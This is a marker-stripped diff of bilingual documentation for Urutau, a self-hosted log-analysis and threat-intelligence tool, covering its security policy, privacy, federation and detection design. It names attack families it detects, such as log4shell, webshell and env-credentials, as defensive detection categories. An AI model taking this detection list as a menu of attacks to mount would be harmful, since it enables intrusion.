- `--trusted` / `URUTAU_TRUSTED`: CIDRs de origens confiáveis (seu escritório, seus monitores, seus outros servidores). Os eventos delas são descartados por completo. `--ignore` continua como alias.
- `--monitor-ua` / `URUTAU_MONITOR_UA`: expressão regular de User-Agents de monitoramento (o padrão inclui Uptime-Kuma). Uma requisição que casa e é benigna não conta como tráfego; ela alimenta um contador "monitoring" à parte. Se a mesma requisição for `scanner`, `exploit` ou `bruteforce`, conta como ataque, porque um User-Agent é trivial de forjar.
- `--monitor-from` / `URUTAU_MONITOR_FROM`: CIDRs de onde os monitores realmente vêm. Quando definido, o User-Agent de monitoramento só vale vindo dessas redes. Sem ele, só respostas `ok` são filtradas (um `notfound` com User-Agent de monitor ainda conta), já que qualquer um pode forjar o cabeçalho.
- `--domains` / `URUTAU_DOMAINS`: uma lista de domínios permitidos para a aba Tráfego (nomes exatos ou `*.exemplo.com`). Um domínio só ganha vaga depois de uma resposta 2xx, e domínios inativos são podados, então `Host` aleatórios não enchem o analytics.
- `--domains` / `URUTAU_DOMAINS`: uma lista de domínios permitidos para a página Tráfego (nomes exatos ou `*.exemplo.com`). Um domínio só ganha vaga depois de uma resposta 2xx, e domínios inativos são podados, então `Host` aleatórios não enchem o analytics.
## Geolocalização e atribuição
@@ -95,11 +122,11 @@ O Urutau mostra país, cidade e ASN de cada IP usando as bases gratuitas **DB-IP
> Dados de geolocalização de IP por [DB-IP](https://db-ip.com), licenciados sob [CC BY 4.0](https://creativecommons.org/licenses/by/4.0/).
A atribuição também aparece no dashboard. Se você redistribuir as bases ou algo derivado delas, mantenha-a.
A atribuição também aparece no dashboard. Os limites de estados e cidades desenhados na página Geografia vêm do [Natural Earth](https://www.naturalearthdata.com) (domínio público). Se você redistribuir as bases ou algo derivado delas, mantenha-a.
## Privacidade
A aba **Tráfego** conta visitantes legítimos sem rastreá-los. Um visitante único é um hash calculado com um sal que muda todo dia, então não acompanha uma pessoa de um dia para o outro, e o endereço IP de um visitante legítimo nunca é persistido: nem no snapshot, nem em log, nem em exportação. Endereços IP são guardados apenas para atividade classificada como hostil, que é o que uma ferramenta de segurança existe para registrar. Sem cookies, fingerprinting nem requisições a terceiros, o desenho dispensa banner de consentimento, mas a licitude do seu uso perante a LGPD ou o GDPR continua sendo decisão sua, como controlador. Veja [SECURITY.pt-BR.md](SECURITY.pt-BR.md).
A página **Tráfego** conta visitantes legítimos sem rastreá-los. Um visitante único é um hash calculado com um sal que muda todo dia, então não acompanha uma pessoa de um dia para o outro, e o endereço IP de um visitante legítimo nunca é persistido: nem no snapshot, nem em log, nem em exportação. Endereços IP são guardados apenas para atividade classificada como hostil, que é o que uma ferramenta de segurança existe para registrar. Sem cookies, fingerprinting nem requisições a terceiros, o desenho dispensa banner de consentimento, mas a licitude do seu uso perante a LGPD ou o GDPR continua sendo decisão sua, como controlador. Veja [SECURITY.pt-BR.md](SECURITY.pt-BR.md).
## Usando a blocklist
@@ -161,7 +188,7 @@ Veja **[CONTRIBUTING.pt-BR.md](CONTRIBUTING.pt-BR.md)** e **[docs/pt-BR/arquitet
## Limites conhecidos
- Só três fontes: access log JSON do Traefik, linhas do sshd no `auth.log` (timestamps ISO) e `fail2ban.log`.
- O estado é mantido por no máximo 7 dias (`--retention`), com até 20.000 IPs rastreados.
- O estado é mantido por no máximo 30 dias (`--retention`), com até 20.000 IPs rastreados; o registro de eventos é limitado por `--events-max`.
- O login do dashboard é um token único compartilhado; não há contas de usuário.
- Pontuações são heurísticas, não prova de intenção maliciosa.
@@ -172,8 +199,9 @@ Resumo do [ROADMAP](ROADMAP.pt-BR.md):
| | |
|---|---|
| **Feito (1.0.0)** | Coleta de logs, classificação e pontuação, geolocalização offline, parse de User-Agent, web analytics amigável à privacidade, snapshot em disco, dashboard com SSE, login por token, blocklist, federação, imagem Docker e CI/CD |
| **Feito (1.2.0)** | Retenção de 30 dias, qualquer período, registro de eventos em disco, replay, análise de IP com veredito, MITRE ATT&CK, campanhas, STIX 2.1 e métricas estáveis |
| **Próximo** | Mais fontes de log, alertas por webhook, métricas Prometheus |
| **Depois** | Enriquecimento com reputação de IP, retenção maior |
| **Depois** | Enriquecimento com reputação de IP |
| **Fora do plano** | Varredura ativa ou contra-ataque, serviços de nuvem obrigatórios, telemetria |
## Licença
+4 -1
View File
@@ -17,6 +17,10 @@ Urutau is lightweight, always-on threat intelligence for self-hosted servers: it
- **Container and CI/CD (1.0.0):** multi-arch image, Coolify deployment, Gitea CI with an image-reuse release workflow, weekly audit.
- **Bilingual documentation (1.0.0).**
- **Interface and live federation (1.1.0):** seven pages, Geography with country, region and city drill-down, Live arcs on a flat map or a 3D globe, `/api/v1/geo`, `/api/v1/live/recent`, relayed live events from peers (`/api/v1/peer/stream`) and `--location`.
- **Investigation (1.2.0):** 30-day retention, twelve ranges and custom periods, an on-disk event registry, replay, IP analysis with verdict and reasons, attack families, MITRE ATT&CK, campaigns, STIX 2.1 export and stable metrics.
## Next
- **More log sources:** other web servers and proxies (nginx, Caddy), and more daemons' auth failures.
@@ -26,7 +30,6 @@ Urutau is lightweight, always-on threat intelligence for self-hosted servers: it
## Later
- **IP reputation enrichment:** optional lookups, off by default, to respect the local-first rule.
- **Longer retention:** an optional on-disk history beyond 7 days.
- **Per-user tokens:** more than one access token with separate revocation.
## Non-Goals
+4 -1
View File
@@ -17,6 +17,10 @@ O Urutau é threat intelligence leve e sempre ligado para servidores self-hosted
- **Container e CI/CD (1.0.0):** imagem multi-arquitetura, deploy no Coolify, CI no Gitea com release que reaproveita imagem, auditoria semanal.
- **Documentação bilíngue (1.0.0).**
- **Interface e federação ao vivo (1.1.0):** sete páginas, Geografia com detalhamento por país, região e cidade, arcos Ao vivo em mapa plano ou globo 3D, `/api/v1/geo`, `/api/v1/live/recent`, eventos ao vivo dos peers repassados (`/api/v1/peer/stream`) e `--location`.
- **Investigação (1.2.0):** retenção de 30 dias, doze intervalos e períodos personalizados, registro de eventos em disco, replay, análise de IP com veredito e razões, famílias de ataque, MITRE ATT&CK, campanhas, exportação STIX 2.1 e métricas estáveis.
## Próximo
- **Mais fontes de log:** outros servidores web e proxies (nginx, Caddy) e falhas de autenticação de mais daemons.
@@ -26,7 +30,6 @@ O Urutau é threat intelligence leve e sempre ligado para servidores self-hosted
## Depois
- **Enriquecimento com reputação de IP:** consultas opcionais, desligadas por padrão, para respeitar o local-first.
- **Retenção maior:** histórico opcional em disco além de 7 dias.
- **Tokens por usuário:** mais de um token de acesso, com revogação separada.
## Fora do plano
+5 -3
View File
@@ -12,7 +12,7 @@ Do not open a public issue with exploit details. Open a minimal issue asking for
- **Hostile log fields:** paths, User-Agents, user names, hosts and jails are length-limited when parsed, kept as data, and escaped when rendered. A malformed, oversized or crafted line must be counted as malformed, never crash the daemon, exhaust memory or inject markup, a command or a script into the dashboard. The dashboard ships a Content-Security-Policy that forbids inline script and style.
- **Authentication:** the dashboard and every API route except `/api/health` need `URUTAU_TOKEN` (at least 32 characters and about 128 bits of estimated entropy, compared in constant time; it can come from `URUTAU_TOKEN_FILE`), either as a bearer token or through a login that sets a session cookie (`HttpOnly`, `SameSite=Strict`, `Secure` over HTTPS) valid for 12 hours. The session is revocable: it is a random id kept in memory, logout revokes it and closes its live stream, and a restart invalidates all sessions. Login and logout reject cross-site requests. After 5 failures per 10 minutes from a client (IPv6 counted per /64) the login answers 429, yet the correct token still gets in after a 1 second delay, so an attacker cannot lock the owner out; wrong bearer tokens count as failures too. The client IP comes from the TCP peer; `X-Forwarded-For` is honored only when the peer is in `--trusted-proxy` (default: the private networks), read from right to left, so it cannot be spoofed from outside. Generate tokens with `openssl rand -base64 48` (`-hex 32` also works).
- **Peer token:** The server token (`URUTAU_PEER_TOKEN`, also as `_FILE`; 32+ characters, about 128 bits of estimated entropy, not periodic or sequential, different from `URUTAU_TOKEN`) is the only credential the local export accepts, and it only opens `GET /api/v1/peer/export`; every other route answers 403 to it, and `URUTAU_TOKEN` is refused (401) on the export. Without a peer token the export is a 404. `--peer-allow` restricts the export to source CIDRs. `URUTAU_PEER_TOKEN_<NAME>` values are client credentials a hub sends to that peer; they never open the local export, and peer names that collide in the variable name are refused. A hub refuses to start with a peer that has no token, only talks to the export, requires `https` outside loopback, does not follow redirects, uses a 4 s timeout and an 8 MB limit, and sanitizes and caps everything a peer sends: an `admin` flag coming from a peer is ignored and a peer's `Strong` flag only counts with a score of 50 or more. Treat a peer as able to read the top 500 IPs, paths and traffic figures its export carries.
- **Peer token:** The server token (`URUTAU_PEER_TOKEN`, also as `_FILE`; 32+ characters, about 128 bits of estimated entropy, not periodic or sequential, different from `URUTAU_TOKEN`) is the only credential the local export accepts, and it only opens the three federation routes, `GET /api/v1/peer/export`, the live stream `GET /api/v1/peer/stream` (at most 10 connections, malicious events only) and `GET /api/v1/peer/period` (the study a hub merges; at most two run at once); every other route answers 403 to it, and `URUTAU_TOKEN` is refused (401) on all three. Without a peer token they are a 404. `--peer-allow` restricts them to source CIDRs. `URUTAU_PEER_TOKEN_<NAME>` values are client credentials a hub sends to that peer; they never open the local export, and peer names that collide in the variable name are refused. A hub refuses to start with a peer that has no token, only talks to those two routes, requires `https` outside loopback, does not follow redirects, uses a 4 s timeout and an 8 MB limit, and sanitizes and caps everything a peer sends: an `admin` flag coming from a peer is ignored and a peer's `Strong` flag only counts with a score of 50 or more. The live relay from each peer is capped at about 50 events per second and about 1 MB/s (a peer that sends more is disconnected), lines of at most 16 KB, a 500-event buffer, reconnection with exponential backoff up to 60 s, and every relayed event is rebuilt from validated fields (address, known category, clipped strings without control characters, valid coordinates; the `host` is always the configured peer name). A compromised peer can still add hostile-looking global IPs to the hub's blocklist (only with score 50+ and a strong signal; `admin` and `forged` flags from peers are ignored); set `URUTAU_PEER_BLOCKLIST=off` to keep the blocklist to local observations. Treat a peer as able to read the top 500 IPs, paths and traffic figures its export carries, and its live attack events.
- **HTTP server limits:** header and body timeouts, `MaxHeaderBytes` of 16 KB, `POST /login` capped at 4 KB, and at most 20 simultaneous live-stream clients (a 21st gets 503 with `Retry-After`; the stream sends a heartbeat every 20 s).
- **Information exposure:** `/api/health` returns only `{"status":"ok"}` (no version), log file paths are never shown in the dashboard or to peers, responses carry `Referrer-Policy: same-origin` and a strict Content-Security-Policy.
- **Framed requests:** with the `Sec-Fetch-Site`, `Sec-Fetch-Dest` and `Referer` headers in the Traefik log, a request embedded by another page (cross-site or same-site, or a sub-resource destination such as image or script) creates an IP record like any other but weighs 0.25 per event, with at most 30 points per IP from such requests (below the hostile threshold), and never counts as a strong signal. With an attack-tool User-Agent the headers are ignored. The headers come from the client, so a framed visitor never becomes hostile, and a scanner that forges them shows up as suspicious instead of vanishing.
@@ -22,8 +22,10 @@ Do not open a public issue with exploit details. Open a minimal issue asking for
- **Container hardening:** the image runs as an unprivileged user (no `curl` or shell tools needed: its `HEALTHCHECK` is `urutau healthcheck`) with a read-only root filesystem and no capabilities. Logs are mounted read-only, and only the Traefik log directory is mounted from the proxy, never `acme.json` or its configuration. Logs come from a dedicated host directory, `/var/log/urutau`, not the whole `/var/log`. `--trusted-proxy` defaults to loopback only; the compose file creates the `urutau-edge` network (`10.250.0.0/24`) and trusts just that, so keep only the reverse proxy on it, since another container there could forge `X-Forwarded-For`. The only write target is the data volume (snapshot, mode `0700` directory).
- **Read-only by design:** Urutau reads logs and never sends traffic to the IPs it lists. The only outbound connections are reverse DNS lookups, the periodic download of the DB-IP Lite databases from `download.db-ip.com` (verified by opening the file before it replaces the old one; a failure never stops the service) and, on a hub, the polls to the configured peers. Geolocation lookups are local.
- **Privacy and local-first:** there is no telemetry. IPs and request details stay on your servers (and on the hub you configure).
- **Visitor privacy (LGPD and GDPR):** the Traffic tab counts unique visitors with a hash computed with a daily salt, so a visitor cannot be followed across days, and the IP address of a legitimate visitor is never persisted. There are no cookies for visitors, no fingerprinting and no request to third parties. IPs are retained only for hostile activity, for at most the retention period (7 days). Whether this is enough for your legal basis and notices is your responsibility as the controller.
- **Third-party data:** the geolocation databases are DB-IP Lite, CC BY 4.0, and the attribution must be kept where the data is shown.
- **Visitor privacy (LGPD and GDPR):** the Traffic page counts unique visitors with a hash computed with a daily salt, so a visitor cannot be followed across days, and the IP address of a legitimate visitor is never persisted. There are no cookies for visitors, no fingerprinting and no request to third parties. IPs are retained only for hostile activity, for at most the retention period (7 days). Whether this is enough for your legal basis and notices is your responsibility as the controller.
- **Event registry (privacy):** `<data-dir>/events/` keeps one line per event for replay and investigation, but only about attackers: malicious events, bans, successful SSH logins, a 404 to an attack tool, and answers to addresses that are already suspicious or hostile. The address of a legitimate visitor is never written. Files are removed after the retention (30 days at most) and the total is capped by `--events-max` (512 MB by default, `0` turns the registry off). Treat the directory as personal data under the LGPD and the GDPR: same retention, same access control as the rest of the data volume. A full disk or the size cap drops events instead of stopping the service, and a corrupted line is skipped.
- **Outbound lookups for verdicts:** the network type is inferred locally from the ASN, organisation and reverse DNS (no external API). Forward-confirmed reverse DNS is used only to confirm a claimed Googlebot or Bingbot. The optional Tor exit list is a local file (`--tor-exits`).
- **Third-party data:** the geolocation databases are DB-IP Lite, CC BY 4.0, and the attribution must be kept where the data is shown. The state and city boundaries on the Geography page are from Natural Earth, public domain.
## Known limitation
+5 -3
View File
@@ -12,7 +12,7 @@ Não abra uma issue pública com detalhes de exploração. Abra uma issue mínim
- **Campos hostis de log:** caminhos, User-Agents, usuários, hosts e jails têm tamanho limitado no parse, são mantidos como dado e escapados ao renderizar. Uma linha malformada, gigante ou forjada deve ser contada como malformada, nunca derrubar o daemon, esgotar memória ou injetar marcação, comando ou script no dashboard. O dashboard envia uma Content-Security-Policy que proíbe script e estilo inline.
- **Autenticação:** o dashboard e toda rota da API, exceto `/api/health`, exigem `URUTAU_TOKEN` (no mínimo 32 caracteres e cerca de 128 bits de entropia estimada, comparado em tempo constante; pode vir de `URUTAU_TOKEN_FILE`), como bearer token ou por um login que define um cookie de sessão (`HttpOnly`, `SameSite=Strict`, `Secure` em HTTPS) válido por 12 horas. A sessão é revogável: é um id aleatório guardado em memória, o logout a revoga e fecha o stream ao vivo dela, e um reinício invalida todas as sessões. Login e logout rejeitam requisições cross-site. Após 5 falhas a cada 10 minutos de um cliente (IPv6 contado por /64) o login responde 429, mas o token correto ainda entra após 1 segundo de atraso, para que um atacante não tranque o dono do lado de fora; bearer tokens errados também contam como falha. O IP do cliente vem do peer TCP; `X-Forwarded-For` só vale quando o peer está em `--trusted-proxy` (padrão: as redes privadas), lido da direita para a esquerda, então não pode ser forjado de fora. Gere tokens com `openssl rand -base64 48` (`-hex 32` também serve).
- **Token de peer:** O token de servidor (`URUTAU_PEER_TOKEN`, também via `_FILE`; 32+ caracteres, cerca de 128 bits de entropia estimada, sem padrão periódico nem sequencial, diferente de `URUTAU_TOKEN`) é a única credencial que o export local aceita, e só abre `GET /api/v1/peer/export`; todas as outras rotas respondem 403 a ele, e o `URUTAU_TOKEN` é recusado (401) no export. Sem token de peer o export é 404. `--peer-allow` restringe o export a CIDRs de origem. Os valores `URUTAU_PEER_TOKEN_<NOME>` são credenciais de cliente que um hub envia àquele peer; nunca abrem o export local, e nomes de peer que colidem no nome da variável são recusados. Um hub se recusa a iniciar com um peer sem token, só fala com o export, exige `https` fora de loopback, não segue redirects, usa timeout de 4 s e limite de 8 MB, e sanitiza e limita tudo o que um peer envia: um sinalizador `admin` vindo de um peer é ignorado e o `Strong` de um peer só vale com pontuação 50 ou mais. Trate um peer como alguém que pode ler os 500 IPs principais, caminhos e números de tráfego que o export carrega.
- **Token de peer:** O token de servidor (`URUTAU_PEER_TOKEN`, também via `_FILE`; 32+ caracteres, cerca de 128 bits de entropia estimada, sem padrão periódico nem sequencial, diferente de `URUTAU_TOKEN`) é a única credencial que o export local aceita, e só abre as duas rotas de federação, `GET /api/v1/peer/export` o fluxo ao vivo `GET /api/v1/peer/stream` (no máximo 10 conexões, só eventos maliciosos) e `GET /api/v1/peer/period` (o estudo que um hub mescla; no máximo dois ao mesmo tempo); todas as outras rotas respondem 403 a ele, e o `URUTAU_TOKEN` é recusado (401) nas três. Sem token de peer elas são 404. `--peer-allow` restringe as três a CIDRs de origem. Os valores `URUTAU_PEER_TOKEN_<NOME>` são credenciais de cliente que um hub envia àquele peer; nunca abrem o export local, e nomes de peer que colidem no nome da variável são recusados. Um hub se recusa a iniciar com um peer sem token, só fala com essas duas rotas, exige `https` fora de loopback, não segue redirects, usa timeout de 4 s e limite de 8 MB, e sanitiza e limita tudo o que um peer envia: um sinalizador `admin` vindo de um peer é ignorado e o `Strong` de um peer só vale com pontuação 50 ou mais. O repasse ao vivo de cada peer é limitado a cerca de 50 eventos por segundo e cerca de 1 MB/s (um peer que manda mais é desconectado), linhas de no máximo 16 KB, buffer de 500 eventos e reconexão com backoff exponencial até 60 s, e cada evento repassado é reconstruído a partir de campos validados (endereço, categoria conhecida, textos cortados e sem caracteres de controle, coordenadas válidas; o `host` é sempre o nome configurado do peer). Um peer comprometido ainda pode pôr IPs globais com cara de hostis na blocklist do hub (só com pontuação 50+ e sinal forte; os sinalizadores `admin` e `forged` vindos de peers são ignorados); defina `URUTAU_PEER_BLOCKLIST=off` para restringir a blocklist às observações locais. Trate um peer como alguém que pode ler os 500 IPs principais, caminhos e números de tráfego que o export carrega, e os seus eventos de ataque ao vivo.
- **Limites do servidor HTTP:** timeouts de cabeçalho e corpo, `MaxHeaderBytes` de 16 KB, `POST /login` limitado a 4 KB e no máximo 20 clientes simultâneos no stream ao vivo (o 21º recebe 503 com `Retry-After`; o stream envia heartbeat a cada 20 s).
- **Exposição de informação:** `/api/health` devolve só `{"status":"ok"}` (sem versão), os caminhos dos arquivos de log nunca aparecem no dashboard nem para peers, e as respostas levam `Referrer-Policy: same-origin` e uma Content-Security-Policy estrita.
- **Requisições enquadradas:** com os cabeçalhos `Sec-Fetch-Site`, `Sec-Fetch-Dest` e `Referer` no log do Traefik, uma requisição embutida por outra página (cross-site ou same-site, ou destino de subrecurso como image ou script) aparece na linha do tempo e cria registro de IP como qualquer outra, mas pesa 0,25 por evento, com no máximo 30 pontos por IP vindos delas (abaixo do limiar hostil), e nunca conta como sinal forte. Com User-Agent de ferramenta de ataque os cabeçalhos são ignorados. Os cabeçalhos vêm do cliente, então um visitante enquadrado nunca vira hostil, e um scanner que os forja aparece como suspeito em vez de sumir.
@@ -22,8 +22,10 @@ Não abra uma issue pública com detalhes de exploração. Abra uma issue mínim
- **Endurecimento do container:** a imagem roda com usuário sem privilégios (sem `curl` nem ferramentas de shell: o `HEALTHCHECK` é `urutau healthcheck`), sistema de arquivos raiz somente leitura e sem capabilities. Os logs são montados somente leitura, e do proxy só o diretório de logs do Traefik é montado, nunca o `acme.json` nem a configuração. Os logs vêm de um diretório dedicado do host, `/var/log/urutau`, não do `/var/log` inteiro. `--trusted-proxy` tem como padrão só o loopback; o compose cria a rede `urutau-edge` (`10.250.0.0/24`) e confia só nela, então deixe nela apenas o proxy reverso, pois outro container ali poderia forjar o `X-Forwarded-For`. O único destino de escrita é o volume de dados (snapshot, diretório com modo `0700`).
- **Somente leitura por desenho:** o Urutau lê logs e nunca envia tráfego aos IPs que lista. As únicas conexões de saída são as consultas de DNS reverso, o download periódico das bases DB-IP Lite em `download.db-ip.com` (verificado abrindo o arquivo antes de substituir o antigo; uma falha nunca interrompe o serviço) e, em um hub, as consultas aos peers configurados. As consultas de geolocalização são locais.
- **Privacidade e local-first:** não há telemetria. IPs e detalhes de requisições ficam nos seus servidores (e no hub que você configurar).
- **Privacidade dos visitantes (LGPD e GDPR):** a aba Tráfego conta visitantes únicos com um hash calculado com sal diário, então um visitante não pode ser seguido entre dias, e o endereço IP de um visitante legítimo nunca é persistido. Não há cookies para visitantes, fingerprinting nem requisição a terceiros. IPs são retidos apenas para atividade hostil, por no máximo o período de retenção (7 dias). Se isso basta para a sua base legal e seus avisos é responsabilidade sua, como controlador.
- **Dados de terceiros:** as bases de geolocalização são DB-IP Lite, CC BY 4.0, e a atribuição deve ser mantida onde os dados são exibidos.
- **Privacidade dos visitantes (LGPD e GDPR):** a página Tráfego conta visitantes únicos com um hash calculado com sal diário, então um visitante não pode ser seguido entre dias, e o endereço IP de um visitante legítimo nunca é persistido. Não há cookies para visitantes, fingerprinting nem requisição a terceiros. IPs são retidos apenas para atividade hostil, por no máximo o período de retenção (7 dias). Se isso basta para a sua base legal e seus avisos é responsabilidade sua, como controlador.
- **Registro de eventos (privacidade):** `<data-dir>/events/` guarda uma linha por evento para replay e investigação, mas só de atacantes: eventos maliciosos, bans, logins SSH bem-sucedidos, um 404 para uma ferramenta de ataque, e respostas a endereços já suspeitos ou hostis. O endereço de um visitante legítimo nunca é gravado. Os arquivos são removidos após a retenção (30 dias no máximo) e o total é limitado por `--events-max` (512 MB por padrão, `0` desliga o registro). Trate o diretório como dado pessoal perante a LGPD e o GDPR: mesma retenção e mesmo controle de acesso do resto do volume de dados. Disco cheio ou o teto de tamanho descartam eventos em vez de parar o serviço, e uma linha corrompida é ignorada.
- **Consultas para os vereditos:** o tipo de rede é inferido localmente a partir do ASN, da organização e do DNS reverso (sem API externa). O DNS reverso confirmado serve apenas para confirmar um Googlebot ou Bingbot declarado. A lista opcional de saídas do Tor é um arquivo local (`--tor-exits`).
- **Dados de terceiros:** as bases de geolocalização são DB-IP Lite, CC BY 4.0, e a atribuição deve ser mantida onde os dados são exibidos. Os limites de estados e cidades da página Geografia são do Natural Earth, domínio público.
## Limitação conhecida
+1 -1
View File
@@ -60,7 +60,7 @@ services:
cap_drop: [ALL]
security_opt:
- no-new-privileges:true
mem_limit: 256m
mem_limit: 384m # the Go soft limit is 256 MiB (30 days of history)
cpus: 0.5
restart: unless-stopped
+66 -5
View File
@@ -10,7 +10,9 @@ internal/app flags, wiring, the log runner, doctor
internal/tail rotation-aware file follower and rotated-file reader
internal/core event model, parsers (Traefik, sshd, fail2ban), classifier
internal/store in-memory state, summaries, merge, snapshot
internal/rdns reverse DNS cache
internal/rdns reverse DNS cache and forward-confirmed reverse DNS
internal/evlog on-disk event registry
internal/intel families, MITRE, network type, cadence, sessions, campaigns, verdicts, STIX, metrics
internal/fed hub that polls peers
internal/server HTTP handler, auth, embedded dashboard (web/)
```
@@ -83,19 +85,78 @@ Events from a trusted origin (`--trusted`, plus the private ranges of `--ignore`
## Web analytics
Benign requests (`ok`, and the `notfound` that are not scanning) also feed the Traffic view. A domain only gets a slot after a 2xx answer (and `--domains` can restrict them to an allowlist), inactive domains are pruned, and top pages normalize token-looking path segments to `:id`: unique visitors, pages, referrers, countries, browsers, operating systems, devices, latency (p50 and p95) and bytes. A unique visitor is a hash computed with a salt that rotates daily, so it cannot be followed across days, and the IP address of a legitimate visitor is never persisted. Attack traffic stays in the Threats view, where the IP is the subject. Monitoring requests are kept out of both.
Benign requests (`ok`, and the `notfound` that are not scanning) also feed the Traffic page. A domain only gets a slot after a 2xx answer (and `--domains` can restrict them to an allowlist), inactive domains are pruned, and top pages normalize token-looking path segments to `:id`: unique visitors, pages, referrers, countries, browsers, operating systems, devices, latency (p50 and p95) and bytes. A unique visitor is a hash computed with a salt that rotates daily, so it cannot be followed across days, and the IP address of a legitimate visitor is never persisted. Attack traffic stays in the Threats view, where the IP is the subject. Monitoring requests are kept out of both.
## Periods and granularity
Every view takes a range: one of twelve named windows (`1h`, `2h`, `3h`, `6h`, `12h`, `24h`, `2d`, `3d`, `5d`, `7d`, `15d`, `30d`) or a custom period with `from` and `to` (unix seconds, at most 30 days, clipped to the retention; `clipped` says when it was). An invalid range answers 400. Responses carry `range` as an object `{name,from,to,step,clipped}`, where `step` is the timeline granularity in seconds: 60 up to 3 hours, 120 up to 6, 300 up to 12, 900 up to 48 hours and 3600 beyond. Minute buckets exist for the latest 48 hours; older data is hourly.
## Event registry
`<data-dir>/events/` holds one JSON line per event, in the same format as the live stream, one file per UTC day. The current day is appended to and synced every 2 seconds; older days are gzip compressed. Files older than the retention are deleted, and the total is capped by `--events-max` (512 MB by default, `0` disables the registry). A day holds at most 200,000 lines; beyond that, events are only counted.
What enters: malicious events (scanner, exploit, bruteforce, ssh-fail, ssh-probe), ban and unban, successful SSH logins, a 404 answered to an attack tool, and `ok` or `notfound` answers only for addresses that are already suspicious or hostile (to show what they got). Never a legitimate visitor. Events relayed from peers are registered with the peer name as host.
Failure behavior: a full disk, the size cap or the day cap drop events (counted, logged at most once in a while, never fatal); a corrupted line is skipped when reading; a partial line left by an earlier failure is terminated before the next write.
## Intelligence
The investigation layer is computed from the IP table and the registry, with no external API:
- **Attack families** (`traversal`, `log4shell`, `sqli`, `xss`, `rce-injection`, `webshell`, `env-credentials`, `vcs`, `backup`, `wordpress`, `phpmyadmin-db`, `actuator-debug`, `iot-cgi`, `admin-panel`, `generic-404`) and the **MITRE ATT&CK** techniques they map to.
- **Network type** from the ASN, the AS organisation and reverse DNS: `vpn`, `research-scanner`, `isp-cn`, `hosting`, `mobile`, `isp/mobile`, `residential`, `unknown`, and `tor` when the address is in the `--tor-exits` file (reloaded every 24 hours when it changes).
- **Cadence** of the requests of one IP: `automated`, `human-like`, `mixed` or `insufficient` (fewer than 3 requests).
- **Sessions:** bursts of one IP separated by a gap (30 minutes by default), each with a stage in increasing severity: `recon`, `probe`, `exploit`, `access`, `banned`.
- **Campaigns:** at least 3 IPs whose sessions have the same signature (similar normalized paths, Jaccard 0.6 or more, same tool) within a window; the signature id is `c-` plus 8 hex characters.
- **Exposure:** a 2xx answer to a request on a sensitive path.
- **Verdict with reasons**, each reason a stable code with a weight (`exploits_refused`, `tool_ua`, `banned_jail`, `multi_category`, `exposure`, `ssh_login_after_bruteforce`, `admin`, `immune`), and **recommended actions** (`block`, `report`, `investigate`, `incident`); administrators and immune sources get none.
- **STIX 2.1** export of an IP (`/api/v1/ip/{ip}/stix`), with deterministic UUIDv5 ids.
- **Crawlers:** a User-Agent claiming Googlebot or Bingbot is confirmed by forward-confirmed reverse DNS; a fake one stays an attacker.
- SSH users listed in `--admin-users` are marked as administrators.
## Metrics
`GET /api/v1/metrics` returns stable figures (no per-minute rates), each with its value, the previous value and a sparkline where it applies:
| Metric | Formula |
|---|---|
| `attacks_per_hour_24h` | malicious events in the last 24 h / 24 |
| `moving_avg_7d_per_hour` | malicious events in the last 7 days / 168 |
| `trend` | percent change of malicious events in the range against the previous range of the same length |
| `active_attackers_24h`, `_1h` | attacker IPs seen in the last 24 h, in the last hour |
| `new_attackers` | IPs first seen inside the range (and the previous range) |
| `returning_rate` | IPs seen in the range but first seen before it / all IPs seen in the range, in percent |
| `sessions_per_day` | sessions in the range / days of the range (at least 1) |
| `exposure_rate` | sessions that got a successful answer / sessions, in percent |
| `exploits_refused_pct` | exploit requests answered 4xx or 5xx / exploit requests with a status, in percent |
| `mttb` | median and 90th percentile of the time from first sighting to ban |
| `ban_coverage` | hostile IPs banned / hostile IPs, in percent |
| `blocklist_coverage` | hostile IPs that are listable (global addresses) / hostile IPs, in percent |
| `blocklist_leak` | hostile IPs neither banned nor listable (a count) |
| `ssh.fails_24h`, `ssh.users_distinct`, `ssh.ok_after_fail` | SSH failures in 24 h, distinct users tried in 24 h, sessions with a failure and then a successful login |
| `concentration.top10_ips`, `top5_asns` | share of malicious events from the 10 busiest IPs and the 5 busiest ASNs, in percent |
Sessions, exposure, refused exploits and `ok_after_fail` need the event registry and read at most a bounded number of events (`truncated` says when the window was cut).
## State and persistence
The state lives in memory: minute buckets for 7 days, hourly top lists (paths, domains, User-Agents, users), a table of up to 20,000 IPs (when full, the 10% with the lowest score are evicted; banned IPs are kept), a feed of the latest 500 events and the active bans. `--retention` (1h to 168h) bounds how long IPs are kept; old IPs are pruned every 10 minutes.
The state lives in memory: minute buckets for the latest 48 hours and hourly data up to 30 days, hourly top lists (paths, domains, User-Agents, users), a table of up to 20,000 IPs (when full, the 10% with the lowest score are evicted; banned IPs are kept), a feed of the latest 500 events and the active bans. `--retention` (1h to 168h) bounds how long IPs are kept; old IPs are pruned every 10 minutes.
Every 60 seconds, and on shutdown, the state is written to `urutau-state.gob` in the data directory together with the inode and offset of every source. On start it is restored and each source resumes exactly where it stopped, so a restart never counts a log twice. A snapshot is skipped while a backfill runs. An unreadable snapshot is moved to `urutau-state.gob.corrupt` and the service starts empty, reading the logs again (including the rotated copies).
The process sets a soft memory limit of 160 MiB unless `GOMEMLIMIT` is set.
The process sets a soft memory limit of 256 MiB unless `GOMEMLIMIT` is set. The worst case measured is about 54 MiB of heap and a snapshot of about 27 MB.
## Federation
A hub is an ordinary instance started with `--peer name=https://url`, and it needs `URUTAU_PEER_TOKEN`. Every 15 seconds it calls each peer's `GET /api/v1/peer/export?range=...` (for `1h`, `24h` and `7d`) with the peer token and keeps the latest answer. The export is `{"v":1,"summary":...,"traffic":{...}}` with the top 500 IPs and their detail, cached for 5 seconds on the peer. It is the only route the peer token opens. The hub never follows redirects, requires `https` outside loopback, uses a 4 second timeout, caps the body at 8 MB and sanitizes and caps whatever a peer sends. A peer that fails is marked offline and the others carry on. The dashboard host selector then offers `all`, the hub itself and each peer; summaries, traffic and IP tables are merged, and every row carries the host it came from.
